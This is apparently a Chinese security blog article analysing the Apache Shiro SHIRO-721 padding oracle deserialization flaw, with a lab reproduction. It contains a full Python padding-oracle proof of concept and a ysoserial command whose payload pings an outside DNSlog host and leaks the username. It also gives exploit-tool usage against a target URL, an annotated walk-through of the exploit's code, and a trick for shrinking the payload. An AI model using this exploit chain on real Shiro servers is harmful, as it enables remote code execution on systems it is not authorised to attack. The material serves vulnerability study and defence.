Shiro Padding Oracle攻击分析
本文由安全客首发,文章链接: https://www.anquanke.com/post/id/203869
安全客 - 有思想的安全新媒体
一、简介
Shiro,Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
Padding填充规则,我们的输入数据长度是不规则的,因此必然需要进行“填充”才能形成完整的“块”。简单地说,便是根据最后一个数据块所缺少的长度来选择填充的内容。例如,数据块长度要求是8字节,如果输入的最后一个数据块只有5个字节的数据,那么则在最后补充三个字节的0x3。如果输入的最后一个数据块正好为8字节长,则在最后补充一个完整的长为8字节的数据块,每个字节填0x8。如图-1所示,使用这个规则,我们便可以根据填充的内容来得知填充的长度,以便在解密后去除填充的字节。
Padding Oracle Attack,这种攻击利用了服务器在 CBC(密码块链接模式)加密模式中的填充测试漏洞。如果输入的密文不合法,类库则会抛出异常,这便是一种提示。攻击者可以不断地提供密文,让解密程序给出提示,不断修正,最终得到的所需要的结果。其中"Oracle"一词指的是“提示”,与甲骨文公司并无关联。加密时可以使用多种填充规则,但最常见的填充方式之一是在PKCS#5标准中定义的规则。PCKS#5的填充方式为:明文的最后一个数据块包含N个字节的填充数据(N取决于明文最后一块的数据长度)。下图是一些示例,展示了不同长度的单词(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它们使用PKCS#5填充后的结果(每个数据块为8字节长)。
图-1
二、加密方式拓普
加密方式通常分为两大类:对称加密和非对称加密
对称加密又称单密钥加密,也就是字面意思,加密解密用的都是同一个密钥,常见的对称加密算法,例如DES、3DES、Blowfish、IDEA、RC4、RC5、RC6 和 AES。
非对称加密,就是说密钥分两个,一个公钥,一个私钥,加解密过程就是公钥加密私钥解密和私钥加密公钥匙解密,常见的非对称加密算法有,RSA、ECC(移动设备用)、Diffie-Hellman、El Gamal、DSA(数字签名用)等。
对称加密算法中一般分为两种加密模式:分组加密和序列密码
分组密码,也叫块加密(block cyphers),一次加密明文中的一个块。是将明文按一定的位长分组,明文组经过加密运算得到密文组,密文组经过解密运算(加密运算的逆运算),还原成明文组。
序列密码,也叫流加密(stream cyphers),一次加密明文中的一个位。是指利用少量的密钥(制乱元素)通过某种复杂的运算(密码算法)产生大量的伪随机位流,用于对明文位流的加密。
这里举例介绍对称加密算法的AES分组加密的五种工作体制:
- 电码本模式(Electronic Codebook Book (ECB))
- 密码分组链接模式(Cipher Block Chaining (CBC))
- 计算器模式(Counter (CTR))
- 密码反馈模式(Cipher FeedBack (CFB))
- 输出反馈模式(Output FeedBack (OFB))
【一】、ECB-电码本模式
这种模式是将明文分为若干块等长的小段,然后对每一小段进行加密解密
【二】、CBC-密码分组链接模式
跟ECB一样,先将明文分为等长的小段,但是此时会获取一个随机的 “初始向量(IV)” 参与算法。正是因为IV的参入,由得相同的明文在每一次CBC加密得到的密文不同。
再看看图中的加密原理,很像是数据结构中的链式结构,第一个明文块会和IV进行异或运算,然后和密匙一起传入加密器得到密文块。并将该密文块与下一个明文块异或,以此类推。
【三】、CTR-计算器模式
计算器模式不常见,在CTR模式中, 有一个自增的算子,这个算子用密钥(K)加密之后的输出和明文(P)异或的结果得到密文(C),相当于一次一密。这种加密方式简单快速,安全可靠,而且可以并行加密,但是在计算器不能维持很长的情况下,密钥只能使用一次。
【四】、CFB-密码反馈模式
直接看图吧
【五】、OFB-输出反馈模式
看图
从上述所述的几种工作机制中,都无一例外的将明文分成了等长的小段。所以当块不满足等长的时候,就会用Padding的方式来填充目标。
三、Padding Oracle攻击原理讲解
当应用程序接受到加密后的值以后,它将返回三种情况:
- 接受到正确的密文之后(填充正确且包含合法的值),应用程序正常返回(200 - OK)。
- 接受到非法的密文之后(解密后发现填充不正确),应用程序抛出一个解密异常(500 - Internal Server Error)。
- 接受到合法的密文(填充正确)但解密后得到一个非法的值,应用程序显示自定义错误消息(200 - OK)。
这里从freebuf借来一张图,上图简单的概述了''TEST"的解密过程,首先输入密码经过加解密算法可以得到一个中间结果 ,我们称之为中间值,中间值将会和初始向量IV进行异或运算后得到明文
那么攻击所需条件大致如下
- 拥有密文,这里的密文是“F851D6CC68FC9537”
- 知道初始向量IV
- 能够了解实时反馈,如服务器的200、500等信息。
密文和IV其实可以通过url中的参数得到,例如有如下
http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537
上述参数中的“6D367076036E2239F851D6CC68FC9537”拆分来看就是 IV和密文的组合,所以可以得到IV是“6D367076036E2239”
再来看看CBC的解密过程
已经有IV、密文,只有Key和明文未知。再加上Padding机制。可以尝试在IV全部为0的情况下会发生什么
Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537 Response: 500 - Internal Server Error
得到一个500异常,这是因为填充的值和填充的数量不一致
倘如发送如下数据信息的时候:
Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537 Response: 200 OK
最后的字节位上为0x01,正好满足Padding机制的要求。
在这个情况下,我们便可以推断出中间值(Intermediary Value)的最后一个字节,因为我们知道它和0x3C异或后的结果为0x01,于是:
因为 [Intermediary Byte] ^ 0x3C == 0x01, 得到 [Intermediary Byte] == 0x3C ^ 0x01, 所以 [Intermediary Byte] == 0x3D
以此类推,可以解密出所有的中间值
而此时块中的值已经全部填充为0x08了,IV的值也为“317B2B2A0F622E35”
此时再将原本的IV与已经推测出的中间值进行异或就可以得到明文了
当分块在一块之上时,如“ENCRYPT TEST”,攻击机制又是如何运作的呢?
其实原理还是一样,在CBC解密时,先将密文的第一个块进行块解密,然后将结果与IV异或,就能得到明文,同时,本次解密的输入密文作为下一个块解密的IV。
不难看出,下一段明文的内容是受到上一段密文的影响的,这里附上道哥写的一个demo
1 """ 2 Padding Oracle Attack POC(CBC-MODE) 3 Author: axis(axis@ph4nt0m.org) 4 http://hi.baidu.com/aullik5 5 2011.9 6 7 This program is based on Juliano Rizzo and Thai Duong's talk on 8 Practical Padding Oracle Attack.(http://netifera.com/research/) 9 10 For Education Purpose Only!!! 11 12 This program is free software: you can redistribute it and/or modify 13 it under the terms of the GNU General Public License as published by 14 the Free Software Foundation, either version 3 of the License, or 15 (at your option) any later version. 16 17 This program is distributed in the hope that it will be useful, 18 but WITHOUT ANY WARRANTY; without even the implied warranty of 19 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 20 GNU General Public License for more details. 21 22 You should have received a copy of the GNU General Public License 23 along with this program. If not, see <http://www.gnu.org/licenses/>. 24 """ 25 26 import sys 27 28 # https://www.dlitz.net/software/pycrypto/ 29 from Crypto.Cipher import * 30 import binascii 31 32 # the key for encrypt/decrypt 33 # we demo the poc here, so we need the key 34 # in real attack, you can trigger encrypt/decrypt in a complete blackbox env 35 ENCKEY = 'abcdefgh' 36 37 def main(args): 38 print 39 print "=== Padding Oracle Attack POC(CBC-MODE) ===" 40 print "=== by axis ===" 41 print "=== axis@ph4nt0m.org ===" 42 print "=== 2011.9 ===" 43 print 44 45 ######################################## 46 # you may config this part by yourself 47 iv = '12345678' 48 plain = 'aaaaaaaaaaaaaaaaX' 49 plain_want = "opaas" 50 51 # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 52 cipher = "blowfish" 53 ######################################## 54 55 block_size = 8 56 if cipher.lower() == "aes": 57 block_size = 16 58 59 if len(iv) != block_size: 60 print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!" 61 return False 62 63 print "=== Generate Target Ciphertext ===" 64 65 ciphertext = encrypt(plain, iv, cipher) 66 if not ciphertext: 67 print "[-] Encrypt Error!" 68 return False 69 70 print "[+] plaintext is: "+plain 71 print "[+] iv is: "+hex_s(iv) 72 print "[+] ciphertext is: "+ hex_s(ciphertext) 73 print 74 75 print "=== Start Padding Oracle Decrypt ===" 76 print 77 print "[+] Choosing Cipher: "+cipher.upper() 78 79 guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size) 80 81 if guess: 82 print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"]) 83 print "[+] plaintext = intermediary_value XOR original_IV" 84 print "[+] Guess plaintext is: "+guess["plaintext"] 85 print 86 87 if plain_want: 88 print "=== Start Padding Oracle Encrypt ===" 89 print "[+] plaintext want to encrypt is: "+plain_want 90 print "[+] Choosing Cipher: "+cipher.upper() 91 92 en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size) 93 94 if en: 95 print "[+] Encrypt Success!" 96 print "[+] The ciphertext you want is: "+hex_s(en[block_size:]) 97 print "[+] IV is: "+hex_s(en[:block_size]) 98 print 99 100 print "=== Let's verify the custom encrypt result ===" 101 print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:" 102 de = decrypt(en[block_size:], en[:block_size], cipher) 103 if de == add_PKCS5_padding(plain_want, block_size): 104 print de 105 print "[+] Bingo!" 106 else: 107 print "[-] It seems something wrong happened!" 108 return False 109 110 return True 111 else: 112 return False 113 114 115 def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8): 116 # the last block 117 guess_cipher = ciphertext[0-block_size:] 118 119 plaintext = add_PKCS5_padding(plaintext, block_size) 120 print "[*] After padding, plaintext becomes to: "+hex_s(plaintext) 121 print 122 123 block = len(plaintext) 124 iv_nouse = iv # no use here, in fact we only need intermediary 125 prev_cipher = ciphertext[0-block_size:] # init with the last cipher block 126 while block > 0: 127 # we need the intermediary value 128 tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False) 129 130 # calculate the iv, the iv is the ciphertext of the previous block 131 prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] ) 132 133 #save result 134 guess_cipher = prev_cipher + guess_cipher 135 136 block = block - block_size 137 138 return guess_cipher 139 140 141 def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True): 142 # split cipher into blocks; we will manipulate ciphertext block by block 143 cipher_block = split_cipher_block(ciphertext, block_size) 144 145 if cipher_block: 146 result = {} 147 result["intermediary"] = '' 148 result["plaintext"] = '' 149 150 counter = 0 151 for c in cipher_block: 152 if debug: 153 print "[*] Now try to decrypt block "+str(counter) 154 print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c) 155 print 156 # padding oracle to each block 157 guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug) 158 159 if guess: 160 iv = c 161 result["intermediary"] += guess["intermediary"] 162 result["plaintext"] += guess["plaintext"] 163 if debug: 164 print 165 print "[+] Block "+str(counter)+" decrypt!" 166 print "[+] intermediary value is: "+hex_s(guess["intermediary"]) 167 print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"] 168 print 169 counter = counter+1 170 else: 171 print "[-] padding oracle decrypt error!" 172 return False 173 174 return result 175 else: 176 print "[-] ciphertext's block_size is incorrect!" 177 return False 178 179 def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True): 180 result = {} 181 plain = '' 182 intermediary = [] # list to save intermediary 183 iv_p = [] # list to save the iv we found 184 185 for i in range(1, block_size+1): 186 iv_try = [] 187 iv_p = change_iv(iv_p, intermediary, i) 188 189 # construct iv 190 # iv = \x00...(several 0 bytes) + \x0e(the bruteforce byte) + \xdc...(the iv bytes we found) 191 for k in range(0, block_size-i): 192 iv_try.append("\x00") 193 194 # bruteforce iv byte for padding oracle 195 # 1 bytes to bruteforce, then append the rest bytes 196 iv_try.append("\x00") 197 198 for b in range(0,256): 199 iv_tmp = iv_try 200 iv_tmp[len(iv_tmp)-1] = chr(b) 201 202 iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp) 203 204 # append the result of iv, we've just calculate it, saved in iv_p 205 for p in range(0,len(iv_p)): 206 iv_tmp_s += iv_p[len(iv_p)-1-p] 207 208 # in real attack, you have to replace this part to trigger the decrypt program 209 #print hex_s(iv_tmp_s) # for debug 210 plain = decrypt(ciphertext, iv_tmp_s, cipher) 211 #print hex_s(plain) # for debug 212 213 # got it! 214 # in real attack, you have to replace this part to the padding error judgement 215 if check_PKCS5_padding(plain, i): 216 if debug: 217 print "[*] Try IV: "+hex_s(iv_tmp_s) 218 print "[*] Found padding oracle: " + hex_s(plain) 219 iv_p.append(chr(b)) 220 intermediary.append(chr(b ^ i)) 221 222 break 223 224 plain = '' 225 for ch in range(0, len(intermediary)): 226 plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) ) 227 228 result["plaintext"] = plain 229 result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1] 230 return result 231 232 # save the iv bytes found by padding oracle into a list 233 def change_iv(iv_p, intermediary, p): 234 for i in range(0, len(iv_p)): 235 iv_p[i] = chr( ord(intermediary[i]) ^ p) 236 return iv_p 237 238 def split_cipher_block(ciphertext, block_size=8): 239 if len(ciphertext) % block_size != 0: 240 return False 241 242 result = [] 243 length = 0 244 while length < len(ciphertext): 245 result.append(ciphertext[length:length+block_size]) 246 length += block_size 247 248 return result 249 250 251 def check_PKCS5_padding(plain, p): 252 if len(plain) % 8 != 0: 253 return False 254 255 # convert the string 256 plain = plain[::-1] 257 ch = 0 258 found = 0 259 while ch < p: 260 if plain[ch] == chr(p): 261 found += 1 262 ch += 1 263 264 if found == p: 265 return True 266 else: 267 return False 268 269 def add_PKCS5_padding(plaintext, block_size): 270 s = '' 271 if len(plaintext) % block_size == 0: 272 return plaintext 273 274 if len(plaintext) < block_size: 275 padding = block_size - len(plaintext) 276 else: 277 padding = block_size - (len(plaintext) % block_size) 278 279 for i in range(0, padding): 280 plaintext += chr(padding) 281 282 return plaintext 283 284 def decrypt(ciphertext, iv, cipher): 285 # we only need the padding error itself, not the key 286 # you may gain padding error info in other ways 287 # in real attack, you may trigger decrypt program 288 # a complete blackbox environment 289 key = ENCKEY 290 291 if cipher.lower() == "des": 292 o = DES.new(key, DES.MODE_CBC,iv) 293 elif cipher.lower() == "aes": 294 o = AES.new(key, AES.MODE_CBC,iv) 295 elif cipher.lower() == "des3": 296 o = DES3.new(key, DES3.MODE_CBC,iv) 297 elif cipher.lower() == "blowfish": 298 o = Blowfish.new(key, Blowfish.MODE_CBC,iv) 299 elif cipher.lower() == "cast": 300 o = CAST.new(key, CAST.MODE_CBC,iv) 301 elif cipher.lower() == "arc2": 302 o = ARC2.new(key, ARC2.MODE_CBC,iv) 303 else: 304 return False 305 306 if len(iv) % 8 != 0: 307 return False 308 309 if len(ciphertext) % 8 != 0: 310 return False 311 312 return o.decrypt(ciphertext) 313 314 315 def encrypt(plaintext, iv, cipher): 316 key = ENCKEY 317 318 if cipher.lower() == "des": 319 if len(key) != 8: 320 print "[-] DES key must be 8 bytes long!" 321 return False 322 o = DES.new(key, DES.MODE_CBC,iv) 323 elif cipher.lower() == "aes": 324 if len(key) != 16 and len(key) != 24 and len(key) != 32: 325 print "[-] AES key must be 16/24/32 bytes long!" 326 return False 327 o = AES.new(key, AES.MODE_CBC,iv) 328 elif cipher.lower() == "des3": 329 if len(key) != 16: 330 print "[-] Triple DES key must be 16 bytes long!" 331 return False 332 o = DES3.new(key, DES3.MODE_CBC,iv) 333 elif cipher.lower() == "blowfish": 334 o = Blowfish.new(key, Blowfish.MODE_CBC,iv) 335 elif cipher.lower() == "cast": 336 o = CAST.new(key, CAST.MODE_CBC,iv) 337 elif cipher.lower() == "arc2": 338 o = ARC2.new(key, ARC2.MODE_CBC,iv) 339 else: 340 return False 341 342 plaintext = add_PKCS5_padding(plaintext, len(iv)) 343 344 return o.encrypt(plaintext) 345 346 def xor_str(a,b): 347 if len(a) != len(b): 348 return False 349 350 c = '' 351 for i in range(0, len(a)): 352 c += chr( ord(a[i]) ^ ord(b[i]) ) 353 354 return c 355 356 def hex_s(str): 357 re = '' 358 for i in range(0,len(str)): 359 re += "\\x"+binascii.b2a_hex(str[i]) 360 return re 361 362 if __name__ == "__main__": 363 main(sys.argv)
四、Shiro反序列化复现
该漏洞是Apache Shiro的issue编号为SHIRO-721的漏洞
官网给出的详情是:
RememberMe使用AES-128-CBC模式加密,容易受到Padding Oracle攻击,AES的初始化向量iv就是rememberMe的base64解码后的前16个字节,攻击者只要使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后就可以构造RememberMe进行反序列化攻击,攻击者无需知道RememberMe加密的密钥。
相对于之前的SHIRO-550来说,这次的攻击者是无需提前知道加密的密钥。
Shiro-721所影响的版本:
1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1
复现漏洞首先就是搭建环境,我这里从网上整了一个Shiro1.4.1的版本,漏洞环境链接:https://github.com/3ndz/Shiro-721/blob/master/Docker/src/samples-web-1.4.1.war
先登陆抓包看一下
此时有个RememberMe的功能,启用登陆后会set一个RememberMe的cookie
我在网上找到一个利用脚本,我就用这个脚本来切入分析
脚本地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
首先利用ceye.io来搞一个DNSlog。来作为yaoserial生成的payload
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "ping %USERNAME%.jdjwu7.ceye.io" > payload.class
用法如下:
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
因为Shiro是用AES-CBC加密模式,所以blockSize的大小就是16
运行后会在后台不断爆破,payload越长所需爆破时间就越长。
将爆破的结果复制替换之前的cookie
就能成功触发payload收到回信了
五、Shiro反序列化分析
还是结合代码来理解会更好的了解到漏洞的原理。
shrio处理Cookie的时候有专门的类----CookieRememberMeManager,而CookieRememberMeManager是继承与AbstractRememberMeManager
在AbstractRememberMeManager类中有如下一段代码
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); //SHIRO-138 - only call convertBytesToPrincipals if bytes exist: if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
其中getRememberedSerializedIdentity函数解密了base64,跟进去看看
1 protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) { 2 3 if (!WebUtils.isHttp(subjectContext)) { 4 if (log.isDebugEnabled()) { 5 String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + 6 "servlet request and response in order to retrieve the rememberMe cookie. Returning " + 7 "immediately and ignoring rememberMe operation."; 8 log.debug(msg); 9 } 10 return null; 11 } 12 13 WebSubjectContext wsc = (WebSubjectContext) subjectContext; 14 if (isIdentityRemoved(wsc)) { 15 return null; 16 } 17 18 HttpServletRequest request = WebUtils.getHttpRequest(wsc); 19 HttpServletResponse response = WebUtils.getHttpResponse(wsc); 20 21 String base64 = getCookie().readValue(request, response); 22 // Browsers do not always remove cookies immediately (SHIRO-183) 23 // ignore cookies that are scheduled for removal 24 if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null; 25 26 if (base64 != null) { 27 base64 = ensurePadding(base64); 28 if (log.isTraceEnabled()) { 29 log.trace("Acquired Base64 encoded identity [" + base64 + "]"); 30 } 31 byte[] decoded = Base64.decode(base64); 32 if (log.isTraceEnabled()) { 33 log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes."); 34 } 35 return decoded; 36 } else { 37 //no cookie set - new site visitor? 38 return null; 39 } 40 }
该函数在21行处读取Cookie中的值,并在31行decode传入的Cookie
在接着看刚才的getRememberedPrincipals函数,解密后的数组进入了convertBytesToPrincipals
principals = convertBytesToPrincipals(bytes, subjectContext);
1 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { 2 if (getCipherService() != null) { 3 bytes = decrypt(bytes); 4 } 5 return deserialize(bytes); 6 }
getCipherService()是返回了CipherService实例
该实例在被初始化的时候就已经确定为AES实例
并在getCipherService()返回不为空,调用this.decrypt()
再跟进后发现进入了JcaCipherService的decrypt方法
1 public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { 2 3 byte[] encrypted = ciphertext; 4 5 //No IV, check if we need to read the IV from the stream: 6 byte[] iv = null; 7 8 if (isGenerateInitializationVectors(false)) { 9 try { 10 //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it 11 //is: 12 // - the first N bytes is the initialization vector, where N equals the value of the 13 // 'initializationVectorSize' attribute. 14 // - the remaining bytes in the method argument (arg.length - N) is the real cipher text. 15 16 //So we need to chunk the method argument into its constituent parts to find the IV and then use 17 //the IV to decrypt the real ciphertext: 18 19 int ivSize = getInitializationVectorSize(); 20 int ivByteSize = ivSize / BITS_PER_BYTE; 21 22 //now we know how large the iv is, so extract the iv bytes: 23 iv = new byte[ivByteSize]; 24 System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); 25 26 //remaining data is the actual encrypted ciphertext. Isolate it: 27 int encryptedSize = ciphertext.length - ivByteSize; 28 encrypted = new byte[encryptedSize]; 29 System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize); 30 } catch (Exception e) { 31 String msg = "Unable to correctly extract the Initialization Vector or ciphertext."; 32 throw new CryptoException(msg, e); 33 } 34 } 35 36 return decrypt(encrypted, key, iv); 37 }
其中ivSize是128,BITS_PER_BYTE是8,所以iv的长度就是16
并且将数组的前16为取作为IV,然后再传入下一个解密方法
private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException { if (log.isTraceEnabled()) { log.trace("Attempting to decrypt incoming byte array of length " + (ciphertext != null ? ciphertext.length : 0)); } byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE); return decrypted == null ? null : ByteSource.Util.bytes(decrypted); }
这里的crypt方法会检测填充是否正确
将处理后的数据一步步返回给convertBytesToPrincipals方法中的deserialize(bytes)
其实就是org.apache.shiro.io.DefaultSerializer的deserialize方法
造成最终的反序列化漏洞。
六、利用代码分析
我本来想直接贴代码注释的,但是想了想,不如用图文并茂的方式来呈现。更能让读者理解,同时也能激发读者的空间想象力带入到程序的运行步骤中。
就先从encrypt方法开始吧
1 public String encrypt(byte[] nextBLock) throws Exception { 2 logger.debug("Start encrypt data..."); 3 byte[][] plainTextBlocks = ArrayUtil.splitBytes(this.plainText, this.blockSize); //按blocksize大小分割plainText 4 5 if (nextBLock == null || nextBLock.length == 0 || nextBLock.length != this.blockSize) { 6 logger.warn("You provide block's size is not equal blockSize,try to reset it..."); 7 nextBLock = new byte[this.blockSize]; 8 } 9 byte randomByte = (byte) (new Random()).nextInt(127); 10 Arrays.fill(nextBLock, randomByte); 11 12 byte[] result = nextBLock; 13 byte[][] reverseplainTextBlocks = ArrayUtil.reverseTwoDimensionalBytesArray(plainTextBlocks);//反转数组顺序 14 this.encryptBlockCount = reverseplainTextBlocks.length; 15 logger.info(String.format("Total %d blocks to encrypt", this.encryptBlockCount)); 16 17 for (byte[] plainTextBlock : reverseplainTextBlocks) { 18 nextBLock = this.getBlockEncrypt(plainTextBlock, nextBLock); //加密块, 19 result = ArrayUtil.mergerArray(nextBLock, result); //result中容纳每次加密后的内容 20 21 this.encryptBlockCount -= 1; 22 logger.info(String.format("Left %d blocks to encrypt", this.encryptBlockCount)); 23 } 24 25 logger.info(String.format("Generate payload success, send request count => %s", this.requestCount)); 26 27 return Base64.getEncoder().encodeToString(result); 28 }
传进来的参数是null,所以nextBLock的值是由random伪随机函数生成的,然后反转数组中的顺序
这里将分好块的payload带入到getBlockEncrypt方法中
private byte[] getBlockEncrypt(byte[] PlainTextBlock, byte[] nextCipherTextBlock) throws Exception { byte[] tmpIV = new byte[this.blockSize]; byte[] encrypt = new byte[this.blockSize]; Arrays.fill(tmpIV, (byte) 0); //初始化tmpIV for (int index = this.blockSize - 1; index >= 0; index--) { tmpIV[index] = this.findCharacterEncrypt(index, tmpIV, nextCipherTextBlock); //函数返回测试成功后的中间值 logger.debug(String.format("Current string => %s, the %d block", ArrayUtil.bytesToHex(ArrayUtil.mergerArray(tmpIV, nextCipherTextBlock)), this.encryptBlockCount)); } for (int index = 0; index < this.blockSize; index++) { encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]); //中间值与明文块异或得到IV,也就是上一个加密块的密文 } return encrypt; }
将tmpIV全部初始为0,记住这里循环了blockSize次
接着往下跟this.findCharacterEncrypt()
1 private byte findCharacterEncrypt(int index, byte[] tmpIV, byte[] nextCipherTextBlock) throws Exception { 2 if (nextCipherTextBlock.length != this.blockSize) { 3 throw new Exception("CipherTextBlock size error!!!"); 4 } 5 6 byte paddingByte = (byte) (this.blockSize - index); //本次需要填充的字节 7 byte[] preBLock = new byte[this.blockSize]; 8 Arrays.fill(preBLock, (byte) 0); 9 10 for (int ix = index; ix < this.blockSize; ix++) { 11 preBLock[ix] = (byte) (paddingByte ^ tmpIV[ix]); //更新IV 12 } 13 14 for (int c = 0; c < 256; c++) { 15 //nextCipherTextBlock[index] < 256,那么在这个循环结果中构成的结果还是range(1,256) 16 //所以下面两种写法都是正确的,当时看到原作者使用的是第一种方式有点迷,测试了下都可以 17 // preBLock[index] = (byte) (paddingByte ^ nextCipherTextBlock[index] ^ c); 18 preBLock[index] = (byte) c; 19 20 byte[] tmpBLock1 = Base64.getDecoder().decode(this.loginRememberMe); //RememberMe数据 21 byte[] tmpBlock2 = ArrayUtil.mergerArray(preBLock, nextCipherTextBlock); //脏数据 22 byte[] tmpBlock3 = ArrayUtil.mergerArray(tmpBLock1, tmpBlock2); 23 String remeberMe = Base64.getEncoder().encodeToString(tmpBlock3); 24 if (this.checkPaddingAttackRequest(remeberMe)) { 25 return (byte) (preBLock[index] ^ paddingByte); //返回中间值 26 } 27 } 28 throw new Exception("Occurs errors when find encrypt character, could't find a suiteable Character!!!"); 29 }
因为需要爆破的块是第几块所填充的字节就是多少,所以这里用blockSize-index算出本次循环需要填充的字节数
然后在10行的循环处,是为了每次爆破完上一个IV,将计算出的中间值更新到tmpIV中,此时计算下一个时候只需要与下一个要匹配的值异或就能得到本次的IV。(如果这里没理解透的一定要多看几遍Padding填充原理)
接下来就是爆破,循环256次依次爆破出正确的IV值。
这里的mergerArray方法就是将参数二衔接到参数一的后面,组成一个新的字节数组
这里借助安全客上的一张图:
可以了解到之后所填充的脏数据是对反序列化没有影响的,通过这个机制就可以在之前的cookie上来运行Padding Oracle测试
如下便是加密第一个payload块时候所生成的脏数据
随后通过checkPaddingAttackRequest发送数据包测试,如果成功将IV与当前的填充字节异或就能得到中间值返回
当本块所有IV都推测出之后与payload异或
for (int index = 0; index < this.blockSize; index++) { encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]); //中间值与明文块异或得到IV,也就是上一个加密块的密文 }
因为经费有限,搞到一个模糊但是直观的思维导图。
将所有的加密块加密后在经过Base64编码输出,就能得到完整利用的RememberMe Cookie了
七、给Payload瘦身
因为加密密文块按照所划分的16个字节一块,如果一个3kb的payload所划分,能划分1024*3/16=192块!
所以payload的大小直接的影响了攻击所需成本(时间)
阅读先知的文章了解到,文章链接:https://xz.aliyun.com/t/6227
只需要将下述代码更改(注释是需要更改的代码)
public static class StubTransletPayload {} /* *PayloadMini public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } */
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes}); /* *PayloadMini Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); */
然后重写打包yaoserial生成之前的payload
字节:2787kb -> 1402kb
直接从175块瘦身到了88块!
同时payload也能成功运行!
Reference:
- https://www.cnblogs.com/wh4am1/p/6557184.html
- https://blog.csdn.net/qq_25816185/article/details/81626499
- https://github.com/wuppp/shiro_rce_exp/blob/master/paddingoracle.py
- https://www.anquanke.com/post/id/192819
- 《白帽子讲Web安全》,吴翰清著
- https://www.freebuf.com/articles/web/15504.html
- https://issues.apache.org/jira/browse/SHIRO-721
- https://github.com/longofo/PaddingOracleAttack-Shiro-721
- https://github.com/3ndz/Shiro-721/blob/master/Docker/src/samples-web-1.4.1.war
- https://www.anquanke.com/post/id/193165
- https://xz.aliyun.com/t/6227